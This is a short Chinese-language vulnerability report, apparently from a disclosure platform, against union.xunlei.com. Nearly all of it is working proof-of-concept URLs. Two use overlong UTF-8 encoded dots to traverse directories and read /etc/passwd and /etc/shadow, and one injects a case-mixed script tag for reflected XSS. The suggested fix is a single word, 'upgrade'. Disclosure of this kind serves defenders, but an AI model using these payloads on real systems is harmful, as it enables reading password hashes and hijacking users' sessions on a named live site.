简要描述：
连root密码文件都可读，还有几个xss



漏洞证明：

http://union.xunlei.com:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

http://union.xunlei.com:80/center//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/shadow

http://union.xunlei.com:80/center/union/helpcontent1.jsf?fathertitle=1%3cScRiPt%20%3eprompt%28972193%29%3c%2fScRiPt%3e&seqid=169

修复方案：
升级吧